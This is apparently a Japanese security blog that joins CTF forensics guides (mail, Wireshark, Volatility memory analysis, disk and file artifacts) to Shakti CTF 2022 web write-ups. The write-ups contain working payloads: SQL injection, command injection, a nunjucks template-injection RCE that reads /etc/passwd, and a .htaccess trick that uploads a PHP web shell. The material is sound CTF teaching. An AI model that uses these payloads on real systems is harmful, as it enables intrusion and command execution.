はまやんはまやんはまやん

hamayanhamayan's blog

CTFのフォレンジックにおけるメールフォレンジックまとめ

親記事 → CTFにおけるフォレンジック入門とまとめ - はまやんはまやんはまやん

メールフォレンジック

  • 怪しいメールに対して調査してくださいという問題
  • それほど難しくはできないので、そんなに頻出ではないイメージ
    • だが、現在フィッシングメールが初期攻撃の大きな要因の1つであることを考えると、興味深い分野ではある
  • フォーマット
    • MBOX: テキストフォーマットなので自然にみられる
    • PST: readpst [pstfile]としてMBOXに変化して確認する
    • Outlook Expressdbxファイルが得られた場合はそのフォルダに移動してundbx .でメール内容が復元できるかも
    • emlファイル: 中身はMBOXと同じっぽい?
  • テキストフォーマットでのメールの確認
    • メールヘッダーの確認
      • とりあえず、Receivedヘッダーが転送時の区切りになるので、Receivedの上にスペースを入れていくと、メールの中継点でどのようなヘッダーが追加されていったかが分かる
      • 他にも以下のようにたくさんある
        • From: 送信元
        • To: 宛先
        • Subject: メールの題名
        • Date: メーラーでのメール送信日時
        • Message-ID: メールの識別子
  • 特にメールの添付ファイルや一部本文は、base64エンコードや、Quoted Printableエンコードされているので、復号化して更に中身を解析することがよくある

CTFのフォレンジックにおけるネットワークフォレンジックまとめ [Wireshark, pcap]

親記事 → CTFにおけるフォレンジック入門とまとめ - はまやんはまやんはまやん

ネットワークフォレンジック

  • ネットワークのパケットログに対してフォレンジックを行う
    • ネットワークに関する基礎知識やプロトコルの知識が必要
  • Wiresharkというツールを使って解析する。cap, pcap, pcapngファイルが扱える
    • WiresharkではUSB通信やBluetoothのログも取れるので、それを解析する問題も出ることがある

Wireshark

  • パケットを右クリックすると使える「追跡」機能は無茶苦茶便利
    • Follow TCP Stream
  • 解析の初手として統計/分析情報も使える。特に以下2つが初手眺めるのに良い
    • Protocol Hierarchy : 利用されているプロトコルの統計を知りたい
    • Endpoints : どのような端末が通信しているかの統計を知りたい
      • とある端末で採取しているので最も多いendpointは自分(被害端末)が多い。次に多いのが攻撃端末かも
  • フィルタもIP絞り込みとかさっと行えるといい
    • httpでhttp通信に絞れる
    • (ip.src == 192.168.100.103) || (ip.dst == 192.168.100.103)とか便利
  • 後は雑に探したいときは文字列検索も可能(Ctrl+F)
  • 通信されているファイルを抜き出したいときはファイル/オブジェクトをエクスポート/????で取る
    • 破損したpcapファイルの修復 PCAP ファイルの修復 - CTF Wiki
    • コマンドで色々処理したい場合はtsharkが使える
    • pythonで弄りたいときはimport dpkt
    • snortルール: ネットワークパケットに対して適用可能なルール

TCP/UDP通信

  • TCP通信 -> Follow TCP Streamで通信を盗み見る
    • HTTP
      • C2通信とか、怪しいサイトのアクセスが記録されているかもしれない
    • FTP
    • SMTP
    • ほんとに色々...
    • HTTPS通信はPEM形式でRSA秘密鍵が手に入っていれば復元可能
  • UDP通信
    • DNS -> 名前解決されるドメインを確認。OOB抽出を疑ってみる

ICMP通信

  • ICMPでDNSのOOB抽出っぽくやってる問題しか見たことない

無線通信 IEEE 802.11

  • 「無線 > 無線LAN統計」で通信元の一覧が見れる
  • Wiresharkで無線LAN(802.11)のデータを見てみよう! - シアトル生活はじめました
    • 802.11のパケットの種類は大まかに三種類ある wlan.fc.type == 0でフィルタ
      • Management frames: APと接続したり切断したり認証したり・・ (0)
      • Control frames: 他のフレームを運ぶため。ヘッダーしかない (1)
      • Data frames: 実際にデータを含むパケット (2)
    • wlan.fc.subtypeでサブタイプもある
    • Wireshark 802.11 Display Filter Field Reference」が良い資料になる
    • wlan.ra == 88-00-00-00-00-00で特定の送り先(元?)に限定する
  • 「統計 > フローグラフ」がすごい使えそう

USB, Bluetooth

CTFのフォレンジックにおけるメモリフォレンジックまとめ [Volatility 3, Volatility 2]

親記事 → CTFにおけるフォレンジック入門とまとめ - はまやんはまやんはまやん

メモリフォレンジック

  • メモリダンプが与えられて解析をする問題
  • Volatility Foundation
    • メモリダンプ解析のスタンダード。これ以外で解析している記事を見たことが無い。(Redlineとか昔はあったぽいが)
    • Volatility2(無印)とVolatility3があるが、全くの別物。今から学習を始めるなら、絶対にVolatility 3から始めること
    • コマンド実行は結構時間かかるので、プロファイルの特定までは手動でやって、コマンド実行についてはよく使うコマンドを適当なシェルスクリプトで一括で持ってくるといい(その間にご飯)
    • Volatility使わなくてもバイナリ解析でやるようなことをやれば時間はかかるけど、使える情報が抜ける可能性は大いにある
      • 例えばFile Carvingを使ってファイルを抜き出したり、stringsでそこそこ有益な情報が得られたりもする

解く流れ

  1. メモリダンプがどのOSのものかを特定する
    • volatilityの解析機能ですぐに特定できるかも
    • できなければ、strings -n 10 mem.bin | grep "ubuntu"みたいに根性で種類とビルドバージョン(カーネルバージョン)を特定する
  2. シンボルテーブルがなければ作る(メモリのどこに何があるかをまとめたもの…だと思っているが)
    • なければ作るしかないが、想像よりも大変ではない
  3. 頑張って解析する
    • これは頑張る。メモリ解析は時間がかかるのでよく使うコマンドをシェルスクリプトにまとめて一括実行するのがおすすめ

Volatility 3(ちょっと情報薄い。ドキュメント見るといい)

  • https://qiita.com/ninja400/items/f3dd1e6eb80fd5b39ba9
  • windows
    • python3 /opt/volatility3/vol.py -f image.raw windows.info.Info WindowsInfoが読み取れる
      • NTBuildLab 7601.17514.amd64fre.win7sp1_rtm. -> win7sp1が入ってる
      • Is64Bit True -> 64bits
    • python3 /opt/volatility3/vol.py -f image.raw windows.pstree.PsTree プロセスツリーが見られる
      • cmd.exeが実行されているなら、コマンド系を深堀りしてみる
    • python3 /opt/volatility3/vol.py -f image.raw windows.netscan.NetScan ネットワークコネクションが見られる
      • 怪しいIPを見つけたらVirusTotalで確認
    • python vol.py -f image.raw windows.cmdline.CmdLine 現在実行中のプロセスがどのような引数で実行されたかが見られる
    • python vol.py -f image.raw windows.dumpfiles --pid="1676" メモリ上にあるpidが1676の関連ファイルをdumpしてくれる
    • python vol.py -f image.raw windows.mutantscan.MutantScan 使用されているミューテックスを出力する
      • 通常、悪意のあるプログラムの作成者は、そのプログラムが二重起動するを避けるためミューテックスを使用する
    • python3 /opt/volatility3/vol.py -f image.raw windows.filescan files scanning
    • python3 /opt/volatility3/vol.py -f image.raw windows.dumpfiles --pid="2760" Dump Files
    • python3 /opt/volatility3/vol.py -f physmemraw windows.hashdump.Hashdump hashdump
    • Volatility 3のWindows symbolic table
  • Linux

Volatility2

本当は載せるべきではないんだろうけど、こっちじゃないとたまーに動かなくて未だに動かす。
今から始める人は絶対にVolatility3から始めること。

  • 情報セキュリティ技術のスキルアップ・イベント 仙台CTF 2017
    • よい日本語資料
  • 解析前にprofileを特定、または、用意する必要がある
  • python2 /opt/volatility/vol.py -f memory.raw --profile=Win7SP1x64 [command]みたいにプロファイルをつけてコマンド実行する
    • windows
      • プロセスを確認してみよう
        • pslist -P 実行中のプロセスリストが得られる
        • pstree 実行中のプロセスツリーが得られる
        • cmdline 動いているコマンドを一覧表示できる
      • 怪しいプロセスのpidが得られたら…
        • dumpfiles --pid="[pid]" --dump-dir=./で関連ファイルを抜き出してみる
          • stringsしてから関連キーワードでgrepしてやれば何か出てくるかも
        • procdump -p [pid] -D output pidのプロセスのexeを出力する
        • memdump --pid=[pid] -D . 指定pidのメモリダンプ
      • cmdscan cmd.exeで使用したコマンドが見られる(パスワードとか抜けたりするかも)
        • consoles よくわかってないけど、cmdscan使っておけばいいと思う
      • envars 環境変数が見られる
      • filescan 現在開かれているファイル一覧が得られる
        • grepをうまく使うといい もろもろ filescan | grep hostsみたいに
        • dumpfiles -D . --name -Q [offset] offsetのファイルをdumpする
          • offsetはfilescanで得られたオフセットを入れる ex.0x000000004fa23f0
      • hashdump ユーザーアカウントのパスワードハッシュを取得する
      • clipboard クリップボードを取得する
      • notepad ノートパッドにある文字列を抜き出してくる
      • screenshot -D screens/ スクリーンショットを持ってくることができる?
      • 通信系
        • まずはこれ 👉 netscan ネット通信関連のアーティファクト収集
        • sockets 確立しているTCP/UDPのソケット一覧取得(だけど--profile=Win7SP1x86_23418でやってみたら動かなかった
        • connections 通信の一覧を取得(だけど--profile=Win7SP1x86_23418でやってみたら動かなかった
        • connscan 通信の一覧を取得(だけど--profile=Win7SP1x86_23418でやってみたら動かなかった
      • iehistory IEの履歴を取得する
      • yarascan -Y "[keyword]" yaraを使ってキーワードスキャンする
      • レジストリ
        • hivelist レジストリハイブ一覧を取得する
          • dumpregistry -o [offset] -D output hivelistからoffset(0xXXXXXX)を持ってきて、これで出力する。Registry Explorerで中身を見ればいい。
        • userassist レジストリのUserAssis情報を見て、起動履歴などを確認する
        • printkey -K "Software\Microsoft\Windows\CurrentVersion\UnreadMail\[email protected]" レジストリを直接参照したいとき
      • lsadump LSAメモリをダンプしてくる
    • linux Linux Command Reference · volatilityfoundation/volatility Wiki
      • linux_bash bashの実行履歴を確認する
      • linux_enumerate_files ファイル列挙ができる
        • ここでメモリアドレスも一緒に得られるのでlinux_find_file -i [address] -O [output filename]で取り出せる
      • linuxのバージョンを把握するとき grep -a "Linux version" mem.limeのように関連ワードで直接grep
        • Welcome to Ubuntu 20.04.1 LTS
          • TAMU CTF 2021だと、ISOダウンロードしてきてvolatilityツールでdwarfとmapを取得してきて使っている。
      • linux_lsof lsofコマンドと同等の結果が得られる
        • すべてのプロセスがオープンしているディスク上のファイル、名前付きパイプ、ネットワークソケット、デバイスが含まれる
        • オープンしているものとしては
          • /dev/pts/0 ファイルか名前付きパイプ(?)
          • socket:[xxx] ネットワークソケット xxxにある数字はなんだろう
          • anon_inode:[xxx] わからん
          • pipe:[xxx] pipe?
          • :[xxx] anonymous file createdらしい
      • pidからメモリマップを取得 linux_proc_maps -p [pid]
        • 0xffff911935415b00 9260 bash 0x00005574f0196000 0x00005574f02a2000 rw- 0x0 0 0 0 [heap]
        • 0xffff911935415b00 9260 bash 0x00007ffc9446d000 0x00007ffc9448e000 rw- 0x0 0 0 0 [stack]
          • こんな感じでheap領域やらstack領域やらも表示してくれるので持ってきてstringsとかすると面白いデータが転がってるかも
          • linux_dump_map -p [pid] -s 0x00007ffc9446d000 -D .のような感じでstack領域をダンプしてこれる
      • linux_volshell pythonコンソールを起動して、色々やる
        • cc(pid=[pid])でコンテキストを指定pidに移す(色々やる前にやる)
        • 使用されている(いた?)inodeを抜き出す
          • for filp, fd in self._proc.lsof():として print("{}: {} (INODE: {})".format(fd, filp, filp.f_inode))として更に改行
          • 0: 18446622369272764928 (INODE: 18446622369302465544)という感じで色々出てくる。先頭の0:部分はファイルディスクリプタでlsofした結果と紐づく
          • linux_find_file -i [inode] -O out.binとしてファイルをダンプしてくる
      • OpenSSHのカギを取得するためのプラグインがある

CTFのフォレンジックにおけるディスクイメージフォレンジックまとめ [ファイルシステム]

親記事 → CTFにおけるフォレンジック入門とまとめ - はまやんはまやんはまやん

(若干、工事中)

ディスクイメージフォレンジック

  • ディスクイメージをそのままダンプしてきて解析する問題
  • ファイルシステムを仕様に沿ってちゃんと解析する難しい問題も見たことはあるが、基本的にはマウントして中に入っている情報から有意な情報を抜き出してくるような問題が多い
    • そのため、ファイルシステムに対する理解というよりかは、入っているOSのファイルを保存のされ方とか解析方法が要求されている

ファイルシステム自体

  • (あんま自信ないな。変なのが紛れ込んでるかも)
  • ツールについて
    • とりあえずFTK Imagerに突っ込めば中に入っているデータは見られる
    • AutoPsyが読み込み対応していれば、自動で色々解析してくれる
      • 削除済みアイテムも自動で復元してくれる
    • mountコマンドでマウントできるかも
  • ジャーナルファイル
  • パーティション方式 MBR, GPT, ...
    • ブートローダーの解析とかってCTFで出たことあるんでしょうか…?
  • ファイルシステム ext4, NTFS, ...
  • 暗号化ディスク
    • TrueCrypt
    • VeraCrypt
    • BitLocker
  • 削除済みファイル
    • 普通の削除では参照が切れているだけでデータはまだ残っている。ツールを使えば復元可能。なんでもいいが、AutoPsyが使えるならオススメ
  • RAIDの解析という難題もあるっぽい

Windows

  • NTFS
    • ADS: Alternate Data Stream
    • USNジャーナル
    • $MFT
      • linuxにおけるinodeのようなもので、ファイルの作成とかを抽出可能。ファイルの内容の断片も読み取れるかも
      • MFT Explorerで$MFTを読む
        • Resident Data Data: 7B-52-33-73-69-64-65-6E-74-21-61-6C-7Dみたいにあれば一部データを読める。
  • Windowsの見るところはたくさんあるが、有名どころを紹介しておく
    • WindowsアーティファクトのあれこれはだいたいEric Zimmerman's toolsで分析可能
    • レジストリ
      • ZimmermanToolsのRegistryExplorerで開いて読めばいい
      • 保存場所
        • PC全体 %SystemRoot%\System32\Config\ (%SystemRoot%はC:\Windows)
        • ユーザー固有 ~\Ntuser.dat
    • イベントログ
    • 主要フォルダを漁ってみる
      • Cドライブ直下
      • Usersフォルダの中(特に%appdata%)
      • ProgramData
      • Program Filesから入っているソフトウェアを特定して設定ファイルとかログとか漁る
    • プリフェッチ
      • C:\windows\Prefetchに保存されている。exeの起動履歴を確認可能
      • WinPrefetchView
    • WMIレポジトリ
    • C:\WINDOWS\setupapi.log
      • ドライバとかのログが入っている
    • RDP Bitmap Cache (BMC)
      • BMCとはRDPの画面キャッシュのこと。取り出して画面を一部盗み見れる
      • ツール
        • bmc-tools キャッシュを持ってきて、断片的な画像復元までできる
        • RdpCacheStitcher 断片的な復元画像から画面全体の復元までできる
          • 手動で置いていくのだが、隣り合っている可能性を色の濃淡で教えてくれる
    • 他にもSRUMなど、ほんとに色々ある
  • PowerShell解析
    • よくWindows向けの攻撃で難読化されたPowerShellを解析する問題がよく見られる
    • 難読化されたPowershellを解読していく
      • 自分は実際のpowershellを使いながら、部分部分ちょこちょこ解読進めている
      • 実際に動かすときは注意すること。せめてWindows Sandbox使うこと
  • VBAスクリプト解析
    • OfficeファイルでVBAスクリプトが難読化されて与えられる場合もある。頑張って解析。
  • クラッシュログ
    • WinDbg Previewで見ていく
    • 正直あまり知見無し。!analyze -vとかコマンドを駆使して確認していく

Linux

  • あんまり知見なし
  • inode
  • 確認フォルダ
  • カーネルクラッシュログ
    • crashコマンドで開いてみていく crash /usr/lib/debug/boot/vmlinux-5.4.0-99-generic ./ubuntu20.04-5.4.0-99-generic-cloudimg-20220215.kdump
    • crashコマンド使い方(>helpでヘルプが見られる)
      • 起動時
        • PANIC: パニック理由が分かる
        • COMMAND: パニックが起きたコマンド
      • >bt back traceを確認可能
      • >ps タスクリスト
      • >p [変数名] グローバル変数が見れる
        • >p jiffies 起動時からカウントアップされる変数
        • >p vermagic カーネルソースの include/linux/vermagic.h にカーネルバージョンに加えて、主要な Config オプションが記載されます
      • >files [pid] タスクごとのファイルディスクリプターが見られる
        • >filesと単にやるとクラッシュしたもので見られる
        • foreachを使うやり方も色々紹介されている
          • >foreach files -R /var/log
          • foreach files -R /home
      • >mod モジュール一覧表示
        • 実はgrepも使える`>mod | grep xxx
      • >net IF表示
  • クラッシュログ
    • クラッシュを引き起こすには
      • Ctrl+zで離れてpsでPID探してkill -SIGSEGV [pid]でkillしてfgで戻るとクラッシュするかも
      • クラッシュダンプは/var/crashesに置かれる
    • apport-unpackでクラッシュダンプを解析する
      • apport-unpack _opt_count.1000.crash /tmp/crash-reportみたいに解凍
      • CoreDumpにメモリダンプが置かれる?

macOS

闇だとは聞くが、知見なし

Android環境の解析問題もある

dockerコンテナ

  • ディスクイメージとちょっと違うかもしれないが、dockerコンテナ自体が与えられて解析ということもある
  • dive
    • Dockerイメージを分析するツール
    • Layer毎で何が起きたのかを一目で確認可能
    • dockerイメージに対して何かする問題では試してみる価値あり
  • docker save test/xyz > dumped.tar
    • レイヤー毎のダンプができる。diveでレイヤーのIDを取得してきて対応するフォルダを見てみる

CTFのフォレンジックにおけるファイルフォレンジックまとめ [MS Office, PDF]

親記事 → CTFにおけるフォレンジック入門とまとめ - はまやんはまやんはまやん

ファイルフォレンジック

  • よくわからないファイル、壊れたファイル、悪性なファイルが与えられて解析するタイプ
  • ファイル毎にできることやツールがあるので、それを解析する技能を鍛える。ファイルごとにできることは結構決まっている
  • 難しい問題ではファイルフォーマットをきっちり理解して解く必要がある。仕様書を読み漁ること
    • 簡単な問題では、ファイルからデータを適切に抽出できますか?
    • 難しい問題では、フォーマットを理解して欠損部分を復元したり、隠されたデータを取得できますか?みたいな所まで問われる
  • フォレンジックというよりステガノグラフィーの場合があるので注意

バイナリ全般

バイナリ全般に使える知識

  • バイナリエディタ
    • バイナリエディタで眺めることで、印刷可能文字の分布とかエントロピーとか、そういった職人めいたことが分かるっぽいです
    • バイナリエディタによってはフォーマットごとにシンボル表示が行えるようになっていて、かなり便利な場合がある
      • TSXBINを愛用してます
      • 使うバイナリエディタはお国柄出るイメージがある(日本人だったらStirlingとかBzとか)
      • HxDとか、ImHexとか、010 Editorとか見る気がする。たまーに有償の最強ツール(名前忘れた…)で殴ってる回答も見られる。なんでもいいが、シンボル表示はマジで便利
  • ファイルフォーマット
    • ファイルフォーマットを理解して、壊れたファイルを復元するような問題が出る
    • マジックナンバー): ファイルの先頭にフォーマット固有のバイト列をいれておくもの
    • 後はひたすらググって仕様書を読む
  • エントロピーテスト
  • fileコマンド
    • そもそも。何のファイルかも明かされないときがある。単純にfileコマンドで通すと分かるかも
    • fileコマンドの結果で検索すると開けるソフトが出てくるかも
  • stringsコマンド
    • 文字列を抜き出せる。何のファイルか分からないときにググるキーワードが見つかったりする
  • File Carving: バイナリからフォーマットを検索して、ファイルを無理矢理抜いてくること
    • binwalk -e [filename]でとりあえず試す
    • foremostやPhotoRecなど色々できるソフトがある。手動で引っ張ってこないといけない場合もある
    • Data Stream Carvingというファイルというより文字列を探してくるCarving方法もあるっぽい
      • https://から始まる文字列を持ってくるとか
      • base64エンコード列っぽいものを持ってくるとか。(どこで見たかな?知ってたら逆に教えてほしいです)
  • メタデータ取得
    • 画像データなどであればexiftoolを使えばメタデータが取得可能かも。だいたいstringsでも取れるけど
    • 例えばwordファイルなど、ファイルによってメタデータが個別に色々あったりする。だいたいstringsでも取れるけど
  • yaraルール
    • ルールベースでバイナリのパターン判定するルール。
    • あんまり見ないけど。

ファイル種別ごと

CTFにおけるフォレンジック入門とまとめ

この記事はCTF Advent Calendar 2022の13日目の記事です。
昨日はゼオスTTさんのevilなnpmパッケージでRCEでした。
最近は依存関係が多くてサプライチェーン考えるのも天文学的な感じですよね…恐ろしさをとても実感できる良記事でした…

はじめに

本記事では、CTFでフォレンジック(Forensics)と言われる分野についてまとめる。
後半からは辞書的に使ってください。

注意事項

CTFにおけるフォレンジック問題

CTFとはセキュリティを題材にしたコンテストの総称であるが、特にその中でもフォレンジックと呼ばれる分野について説明する。
CTFにおけるフォレンジックを一個人の意見としてまとめると、以下のように言える。

とあるファイルが与えられて、そこから有意な情報を抜き出す問題

脆弱性を発見することは求められない。
このカテゴリでは、与えられたファイルによって何が起きるのか、起きた後のログやデータを元にどのような有意な情報が抜き出せるかという部分が問われる。

「とあるファイル」は本当に何でもいいのだが、体感、実際のサイバー犯罪に使われるようなファイルや、サイバー攻撃後の事後調査にまつわるファイルが多い。
他にも欠損したファイルの復元といったファイルそのものの仕様を理解したうえで、ファイルを読み取っていく問題もある。

…とそれっぽく書いたが、単純に、ファイルが与えられるので頑張って情報を読み取って、というのがフォレンジック問題での基本方針である。

カテゴリについて

フォレンジック問題周りはカテゴリ分けに好みが出る。
今回は以下のようなカテゴリにあるものをすべてフォレンジックとしてまとめて説明することにする。
カテゴリ分けにルールはないので、雰囲気でカテゴリ名からフォレンジック問だなと認識するといいと思う。

  • Forensics: 特定のファイルに対して解析をして、有意な情報を抜き出してくる
    • Network: ネットワークのパケットログに対して解析をして、有意な情報を抜き出してくる
    • Logs: 何らかのログに対して解析をして、有意な情報を抜き出してくる
  • DFIR: Degital Forensics and Incident Responseを指す言葉。この2つのセキュリティ的な役割に近い問題が多いので、こういうカテゴリ分けもある
  • BlueTeam: 組織でサイバー攻撃の防御側のチームを指す言葉。主に防御側が解析する対象が題材になりがちなので、BlueTeam向け問題とか言われたりする
  • (Steganography: これは明日の記事へ)

あとmiscに入れ込まれていたりもします。

解き方/初学者に向けて

フォレンジック問題はアドホックな解法が多いので、こういう知識が必要で…という初学者にストレートに役立つ情報が出せそうにない。
以下、小話レベルでまとめておく。

  • よく出る解析対象というのはあるので、その手法を学んでいくといい。得意分野を作って解けるようにすると楽しくなってくる
  • grep力を鍛える
    • 与えられるデータはサイズが結構大きい。それっぽいキーワードでgrepしたり、適切なフィルタをかけながら解析する
    • GUIだと遅い場合があったりするので、CUIでさっとgrepできるようになると色々便利
    • だが、時には目grep力が真価を発揮するときも…
  • ツールアシストに頼る
    • 根本を理解することも大事だが、フォレンジックではツールを知っているか、適切に扱えるかということも影響してくる
    • Writeupを見ると、新しいツールを使って解きましたみたいな解法も時々見かけるのでアンテナを張っておくといいかもしれない
  • 幅広い知識が要求されるので、幅広に知識を取り入れよう
    • ディスクイメージフォレンジックでは、ディスクイメージの中に含まれるWindowsに関する知識が必要だったりする
    • ネットワークフォレンジックなどでは、通信にバイナリファイルが含まれていて、reversingをして中身を解析しないと暗号化された通信が復元できなかったりする
    • 膨大なファイルから深く見る範囲を絞るのも、知識がついてくればできるようになってくる
  • フォレンジックは他のジャンルと違って毎回出るようなジャンルではないし、出ても好みの解析対象であるとは限らないので、毎週CTFを覗いて問題を漁ること

…つまり第一歩目は?

CTFにどんどん参加して、たたき上げで成長していくのももちろんおすすめではあるが、Blue Team向けに出されている学習教材を使って勉強するのがいい。
はっきり第一歩を言い切るなら「TryHackMeで学習したい分野について、順番に埋めていくのがいい」と思う。

  • TryHackMeのBlueTeam系の学習教材を利用する
    • ネットワークフォレンジックとか、メモリフォレンジックとかの特定対象の解析のための教材がたくさんある
    • かなり丁寧に説明が入っているので、TryHackMeで完結して技能を習得できる
    • 今ちょうどAdvent of Cyber 2022をやっていて、これを完走するだけで、かなりフォレンジック問に立ち向かえるようになると思う
  • 今なら2022 SANS Holiday Hack Challenge & KringleCon
    • SANSが毎年12月に出しているチャレンジ。BlueTeam系の問題が多いイメージ。手取り足取り教えてくれる系ではない。
    • 去年までの資料を使って勉強してもいいし、今年の問題をチャレンジしてみるのもいい
  • ほかにもBlueTeam系のチャレンジサイトが多くある(本記事の末尾にちょっと書いておきました)

…ほんとにたたき上げです。
手取り足取り教えるような入門記事もいつか書きたいですが、時間が…

サブジャンルについて

サブジャンルについて記事を分けて、キーワード形式でまとめていく。
学習の参考にしてください。

Challenges

フォレンジック問題と銘打って問題が出題されていたり、blue team向けの学習サイトがあったりもします。
ほぼ書きなぐりですが、書いときます。

明日も自分の記事ですね。ステガノグラフィーについて書きます。

Shakti CTF (2022) Writeups

[web] Be Alert

サイトにアクセスすると、アンドロイドがお出迎えしてくれる。
ソースを見ると<!--Something appears in /flag.html-->とあう。
GET /flag.htmlに行くとパスワードが必要と言われる。
ソースコードを見るとjavascriptでパスワードの判定っぽいものがあるので、それを参考に以下のようにパスワードを復元する。

let word = "rg`jsh`clhm";
let password = "";
for (let i=0; i<word.length;i++) {
    password += String.fromCharCode(word.charCodeAt(i) + 1);
}
console.log(password);

パスワードが出てくるので入力するとフラグが手に入る。

[web] L0g1n F4il3d

'をパスワードに入れてみるとエラーになる。
SQL Injectionを試せばよさそう。
いろいろやって' or 1=1 --を入れるとフラグが出てくる。

[web] ping-pong

pingコマンドが使えるサービス。
コマンドインジェクション感がすごいので、色々試す。

アドレスをgoogle.com | sleep 3とすると3秒ほどスリープがかかる。
google.com | idでidコマンドが動く。
OK。

./flag.txtがあるが普通にcatしても何故かうまくいかない。
base64コマンドを使ってみると動いた。
google.com | base64 flag.txtをして出力をbase64デコードするとフラグが手に入る。

[web] Hey h3ck3r!

適当にpayloadを試すと{{7*7}}で49になる。
X-Powered-By: Expressとあり、いろいろ試すとエラーからテンプレートエンジンがnunjucksであるとわかる。
適当にpayloadを探すと、以下でRCEできることがわかる。

https://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}

lsするとflagというファイルが見えるので、cat flagとするとフラグが手に入る。

[web] S4F3 UPL04D

.htaccessのアップロードが可能なので、ブラックリスト入りされている拡張子以外のものでphpが使えるようにしてphpを動かす。

まず、.htaccessというファイル名で

AddType application/x-httpd-php .png

を用意してアップロードする。次にa.pngというファイル名で

<?php passthru($_GET["c"]);

を用意してアップロードする。
/uploads/a.png?c=idをするとidコマンドが実行できていることが確認できる。
色々探索するとcat /flagでフラグが見つかる。